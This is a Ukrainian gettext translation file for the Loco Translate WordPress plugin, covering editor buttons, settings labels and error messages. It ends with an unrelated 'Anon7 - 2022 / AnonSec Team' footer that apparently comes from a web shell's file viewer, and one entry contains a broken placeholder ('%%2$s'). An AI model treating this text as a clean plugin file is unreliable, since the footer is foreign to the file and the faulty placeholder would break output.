#. translators: %s refers to a directory where a backup file could not be
#. created due to file permissions
#: src/fs/Revisions.php:222
msgid "Failed to create backup file in \"%s\". Check file permissions or disable backups"
msgstr "Не вдалося створити файл резервної копії в \"%s\". Перевірте права доступу до файлу або вимкніть створення резервних копій"

#: src/ajax/MsginitController.php:63
msgid "MO file exists for this language already. Delete it first"
msgstr "Файл MO вже існує для цієї мови. Спочатку видаліть його"

#: src/ajax/FsConnectController.php:117
msgid "Connected to remote file system"
msgstr "Підключено до віддаленої файлової системи"

#: src/admin/list/ThemesController.php:14
msgid "Translate themes"
msgstr "Переклад тем"

#: src/admin/list/PluginsController.php:12
msgid "Translate plugins"
msgstr "Переклад плагінів"

#. translators: %s refers to the name of a translation set (theme, plugin or
#. core component)
#: src/admin/init/InitPotController.php:106
msgid "New translations template for \"%s\""
msgstr "Новий шаблон перекладу для \"%s\""

#: src/admin/init/InitPotController.php:104
msgid "New template file"
msgstr "Новий шаблон файлу"

#: src/admin/init/InitPotController.php:56
msgid "Template file already exists"
msgstr "Файл шаблону вже існує"

#: src/admin/init/InitPotController.php:16
msgid "New template"
msgstr "Новий шаблон"

#: src/admin/init/InitPoController.php:223
msgid "Skip template"
msgstr "Пропустити шаблон"

#. translators: Were %s is number of source files that will be scanned
#: src/admin/init/InitPoController.php:280
msgid "%s source file will be scanned for translatable strings"
msgid_plural "%s source files will be scanned for translatable strings"
msgstr[0] "%s вихідний файл буде перевірено на наявність перекладних рядків"
msgstr[1] "%s вихідних файли буде перевірено на наявність перекладних рядків"
msgstr[2] "%s вихідних файлів буде перевірено на наявність перекладних рядків"

#. translators: 1: Number of strings; 2: Name of POT file; e.g. "100 strings
#. found in file.pot"
#: src/admin/init/InitPoController.php:249
msgid "%1$s string found in %2$s"
msgid_plural "%1$s strings found in %2$s"
msgstr[0] "%1$s рядок знайдено в %2$s"
msgstr[1] "%1$s рядки знайдено в %%2$s"
msgstr[2] "%1$s рядків знайдено в %2$s"

#: src/admin/init/InitPoController.php:119
msgid "Initializing new translations in unknown set"
msgstr "Ініціалізація нових перекладів у невідомому наборі"

#. translators: %s refers to the slug/handle of a theme or plugin
#: src/admin/init/InitPoController.php:115
msgid "Initializing new translations in \"%s\""
msgstr "Ініціалізація нових перекладів у \"%s\""

#. translators: Warning that the language in the file header (1) does not match
#. the file name (2)
#: src/admin/file/InfoController.php:177
msgid "Language header is \"%1$s\" but file name contains \"%2$s\""
msgstr "Заголовок мови \"%1$s\", але ім'я файлу містить \"%2$s\""

#: src/admin/file/InfoController.php:169
msgid "File does not have a valid header"
msgstr "Файл не має дійсного заголовка"

#: src/admin/file/InfoController.php:137 src/package/Header.php:86
msgid "Unknown author"
msgstr "Невідомий автор"

#. Translators: Button that toggles between "code" and regular text editing
#. modes
#: src/admin/file/EditController.php:232
msgctxt "Editor"
msgid "Toggle code view"
msgstr "Перемкнути на перегляд коду"

#. Translators: Button that toggles invisible characters
#: src/admin/file/EditController.php:230
msgctxt "Editor"
msgid "Toggle invisibles"
msgstr "Невидимі символи"

#. Translators: Button for downloading a PO, MO or POT file
#: src/admin/file/EditController.php:226
msgctxt "Editor"
msgid "Download"
msgstr "Завантажити"

#. Translators: Button that reloads current screen
#: src/admin/file/EditController.php:220
msgctxt "Editor"
msgid "Revert"
msgstr "Повернути"

#. Translators: Button that runs in-editor sync/operation
#: src/admin/file/EditController.php:218
msgctxt "Editor"
msgid "Sync"
msgstr "Синхронізація"

#. Translators: Button that saves translations to disk
#: src/admin/file/EditController.php:216
msgctxt "Editor"
msgid "Save"
msgstr "Зберегти"

#: src/admin/file/EditController.php:214 src/ajax/ApisController.php:26
msgid "Help"
msgstr "Допомога"

#. Translators: button for removing a string when manually editing a POT file
#: src/admin/file/EditController.php:213
msgctxt "Editor"
msgid "Remove"
msgstr "Видалити"

#. Translators: button for adding a new string when manually editing a POT file
#: src/admin/file/EditController.php:211
msgctxt "Editor"
msgid "Add"
msgstr "Додати"

#. translators: %s refers to the name of a POT file
#: src/admin/file/EditController.php:131
msgid "Translations don't match template. Run sync to update from %s"
msgstr "Переклади не відповідають шаблону. Запустіть синхронізацію для оновлення з %s"

#. translators: %1$s is the file name, %2$s is the bundle name
#: src/admin/file/EditController.php:18
msgid "Editing %1$s in %2$s"
msgstr "Редагування %1$s в %2$s"

#. translators: Warning that deleting a file will also delete others. %s
#. indicates that quantity.
#: src/admin/file/DeleteController.php:104
msgid "%s dependent file will also be deleted"
msgid_plural "%s dependent files will also be deleted"
msgstr[0] "%s залежний файл також буде видалений"
msgstr[1] "%s залежних файли також буде видалено"
msgstr[2] "%s залежних файлів також буде видалено"

#. translators: Page title where %s is the name of a file to be deleted
#: src/admin/file/DeleteController.php:79
#: src/admin/file/DeleteController.php:98
msgid "Delete %s"
msgstr "Видалити %s"

#: src/admin/file/DiffController.php:45
msgid "File deleted"
msgstr "Файл видалено"

#: src/admin/file/BaseController.php:122 tpl/admin/bundle/inc-po-table.php:66
#: tpl/admin/bundle/locale.php:75 tpl/admin/file/diff.php:32
msgid "Delete"
msgstr "Видалити"

#: src/admin/file/BaseController.php:119 tpl/admin/bundle/inc-po-table.php:25
#: tpl/admin/bundle/locale.php:43
msgid "File info"
msgstr "Інформація файлу"

#: src/admin/file/BaseController.php:118
msgid "Source"
msgstr "Джерело"

#: src/admin/file/BaseController.php:117
msgid "Editor"
msgstr "Редактор"

#: src/admin/config/SettingsController.php:51
msgid "Super Admin"
msgstr "Супер Адмін"

#: src/admin/config/ApisController.php:69
#: src/admin/config/PrefsController.php:42
#: src/admin/config/SettingsController.php:79
#: src/admin/config/VersionController.php:22 src/mvc/AdminRouter.php:66
#: tpl/admin/help/tab-config.php:2
msgid "Plugin settings"
msgstr "Налаштування плагіну"

#: src/admin/config/DebugController.php:55
msgid "System diagnostics"
msgstr "Діагностика системи"

#: src/admin/config/BaseController.php:21
#: src/admin/config/VersionController.php:13
msgid "Version"
msgstr "Версія"

#: src/admin/config/BaseController.php:19
#: src/admin/config/PrefsController.php:13 src/mvc/AdminRouter.php:71
msgid "User options"
msgstr "Параметри користувача"

#: src/admin/config/BaseController.php:18
msgid "Site options"
msgstr "Параметри сайту"

#: src/admin/bundle/ViewController.php:133
#: src/admin/init/InitPoController.php:218 tpl/admin/init/init-pot.php:40
msgid "Create template"
msgstr "Створити шаблон"

#: src/admin/bundle/ViewController.php:124
msgid "Edit template"
msgstr "Редагувати шаблон"

#: src/admin/bundle/ViewController.php:99 src/admin/file/BaseController.php:141
#: src/admin/init/InitPoController.php:16
#: src/admin/init/InitPoController.php:122
msgid "New language"
msgstr "Нова мова"

#. translators: %s is a quantity of files which were found, but whose context
#. is unknown
#: src/admin/bundle/SetupController.php:115
msgid "%s file can't be matched to a known set of strings"
msgid_plural "%s files can't be matched to a known set of strings"
msgstr[0] "%s Один файл не відповідає відомому набору рядків"
msgstr[1] "%s файли не відповідають відомому набору рядків"
msgstr[2] "%s файлів не відповідають відомому набору рядків"

#: src/admin/bundle/SetupController.php:35
msgid "Bundle setup"
msgstr "Налаштування пакету"

#: src/admin/bundle/SetupController.php:25
msgid "Setup tab"
msgstr "Вкладка Налаштування"

#. translators: where %s is a plugin or theme
#: src/admin/bundle/SetupController.php:15
msgid "Set up %s"
msgstr "Налаштувати %s"

#: src/admin/bundle/ConfController.php:137 tpl/admin/bundle/setup/core.php:17
#: tpl/admin/bundle/setup/inc-nav.php:19
msgid "Advanced configuration"
msgstr "Розширені налаштування"

#: src/admin/bundle/ConfController.php:52
msgid "Advanced tab"
msgstr "Вкладка Додатково"

#. translators: where %s is a plugin or theme
#: src/admin/bundle/ConfController.php:16
msgid "Configure %s"
msgstr "Налаштувати %s"

#: src/admin/bundle/BaseController.php:107
#: src/admin/config/DebugController.php:12 src/error/Debug.php:19
#: src/mvc/AdminRouter.php:77
msgid "Debug"
msgstr "Налагодження"

#: src/admin/bundle/BaseController.php:102 tpl/admin/file/conf.php:58
#: tpl/admin/file/move.php:26
msgid "Advanced"
msgstr "Додатково"

#: src/admin/bundle/BaseController.php:101
msgid "Setup"
msgstr "Налаштування"

#: src/admin/bundle/BaseController.php:54
msgid "Configuration reset"
msgstr "Скинути конфігурацію"

#: src/admin/bundle/BaseController.php:40
msgid "Configuration saved"
msgstr "Конфігурацію збережено"

#. translators: home screen title where %s is the version number
#: src/admin/RootController.php:23
msgid "Loco Translate %s"
msgstr "Loco Translate %s"

#: src/admin/bundle/BaseController.php:100
#: src/admin/bundle/LocaleController.php:34
#: src/admin/bundle/ViewController.php:25
#: src/admin/config/BaseController.php:39 src/admin/file/EditController.php:27
#: src/admin/file/InfoController.php:26 src/admin/file/ViewController.php:26
#: src/admin/init/InitPoController.php:25
#: src/admin/init/InitPotController.php:25 src/admin/list/BaseController.php:45
#: src/admin/list/LocalesController.php:24 src/admin/RootController.php:12
msgid "Overview"
msgstr "Огляд"

#: src/admin/bundle/LocaleController.php:154 src/admin/Navigation.php:30
#: src/mvc/AdminRouter.php:49
msgid "Plugins"
msgstr "Плагіни"

#: src/admin/bundle/LocaleController.php:149 src/admin/Navigation.php:27
#: src/mvc/AdminRouter.php:44
msgid "Themes"
msgstr "Теми"

#: src/Locale.php:306
msgid "Invalid locale"
msgstr "Невірна мова"

#. translators: %s refers to the name of a missing PHP extension, for example
#. "mbstring".
#: loco.php:131
msgid "Loco Translate requires the \"%s\" PHP extension. Ask your hosting provider to install it"
msgstr "Loco потребує розширення PHP \"%s\". Попросіть вашого хостинг-провайдера встановити його"

#. Author of the plugin
#: loco.php
msgid "Tim Whitlock"
msgstr "Tim Whitlock"

#. Plugin URI of the plugin
#: loco.php
msgid "https://wordpress.org/plugins/loco-translate/"
msgstr "https://uk.wordpress.org/plugins/loco-translate/"

#. Translators: Placeholder text for text filter above editor
#: src/admin/file/EditController.php:228
msgid "Filter translations"
msgstr "Фільтр перекладів"

#: tpl/admin/bundle/conf.php:65 tpl/admin/bundle/inc-po-table.php:45
#: tpl/admin/file/edit-pot.php:20 tpl/admin/file/info-pot.php:18
#: tpl/admin/file/view-pot.php:9
msgid "Template file"
msgstr "Файл шаблону"

#: tpl/admin/config/apis.php:166 tpl/admin/config/prefs.php:44
#: tpl/admin/config/settings.php:233
msgid "Save settings"
msgstr "Зберегти налаштування"

#: tpl/admin/config/settings.php:62
msgid "Number of backups to keep of each file:"
msgstr "Кількість резервних копій, щоб зберегти кожен файл:"

#: tpl/admin/config/settings.php:137
msgid "Include Fuzzy strings"
msgstr "Включити рядки Fuzzy"

#: tpl/admin/config/settings.php:131
msgid "Generate hash tables"
msgstr "Генерувати таблиці гешів"

#: tpl/admin/config/settings.php:120 tpl/admin/config/settings.php:126
msgid "Compiling MO files"
msgstr "Компілювати MO файли"

#: tpl/admin/bundle/locale.php:14 tpl/admin/common/inc-po-header.php:8
#: tpl/admin/file/edit-pot.php:22 tpl/admin/file/view-pot.php:11
msgctxt "Modified time"
msgid "Updated"
msgstr "Оновлено"

#. translators: Warning appears when user tries to refresh or navigate away
#. when editor work is unsaved
#: src/js/Strings.php:105
msgid "Your changes will be lost if you continue without saving"
msgstr "Ваші зміни будуть втрачені, якщо Ви продовжите без збереження"

#. translators: Summary of existing strings that no longer exist after running
#. in-editor Sync xgettext: javascript-format
#: src/js/Strings.php:32
msgid "%s obsolete string removed"
msgid_plural "%s obsolete strings removed"
msgstr[0] "%s застарілий рядок видалено"
msgstr[1] "%s застарілих рядки видалено"
msgstr[2] "%s застарілих рядків видалено"

#. translators: Summary of new strings after running in-editor Sync xgettext:
#. javascript-format
#: src/js/Strings.php:28
msgid "%s new string added"
msgid_plural "%s new strings added"
msgstr[0] "%s новий рядок додано"
msgstr[1] "%s нових рядки додано"
msgstr[2] "%s нових рядків додано"

#. translators: Message appears after sync operation.
#: src/js/Strings.php:47
msgid "Strings up to date with source code"
msgstr "Вихідний код вже останньої версії"

#. translators: Message appears after sync operation
#: src/js/Strings.php:24
msgid "Merged from source code"
msgstr "Об'єднано з вихідним кодом"

#. translators: Where %s is the name of the POT template file. Message appears
#. after sync xgettext: javascript-format
#: src/js/Strings.php:21
msgid "Merged from %s"
msgstr "Об'єднано з %s"

#. translators: Success notice where %s is a file extension, e.g. "PO"
#: src/admin/file/HeadController.php:81 src/gettext/Compiler.php:287
msgid "%s file saved"
msgstr "файл %s збережено"

#: src/js/Strings.php:145
msgid "Unknown error"
msgstr "Невідома помилка"

#: src/admin/file/EditController.php:182 src/mvc/AdminRouter.php:67
#: src/mvc/AdminRouter.php:72 tpl/admin/common/inc-fsconn.php:18
#: tpl/admin/common/inc-fsconn.php:43 tpl/admin/errors/no-backups.php:24
#: tpl/ajax/modal-apis-empty.php:15
msgid "Settings"
msgstr "Налаштування"

#. Plugin Name of the plugin
#: loco.php src/hooks/AdminHooks.php:88 src/mvc/AdminRouter.php:37
msgid "Loco Translate"
msgstr "Loco Translate"

#. translators: Page title for plugin home screen
#: src/mvc/AdminRouter.php:39
msgid "Loco, Translation Management"
msgstr "Loco, Управління перекладами"

#. translators: Shows number of untranslated strings at top of editor
#. translators: Shows number of untranslated strings at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:209 src/js/Strings.php:121
msgid "%s untranslated"
msgstr "%s не перекладено"

#. translators: Shows number of fuzzy strings at top of editor
#. translators: Shows number of fuzzy strings at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:205 src/js/Strings.php:117
msgid "%s fuzzy"
msgstr "%s неточних перекладів"

#. translators: Shows percentage translated at top of editor
#. translators: Shows percentage translated at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:202 src/js/Strings.php:113
msgid "%s%% translated"
msgstr "%s%% перекладено"

#: src/admin/config/ApisController.php:53
#: src/admin/config/PrefsController.php:26
#: src/admin/config/SettingsController.php:31
msgid "Settings saved"
msgstr "Налаштування збережено"

#: src/error/WriteException.php:13
msgid "Permission denied"
msgstr "В доступі відмовлено"

Anon7 - 2022
AnonSec Team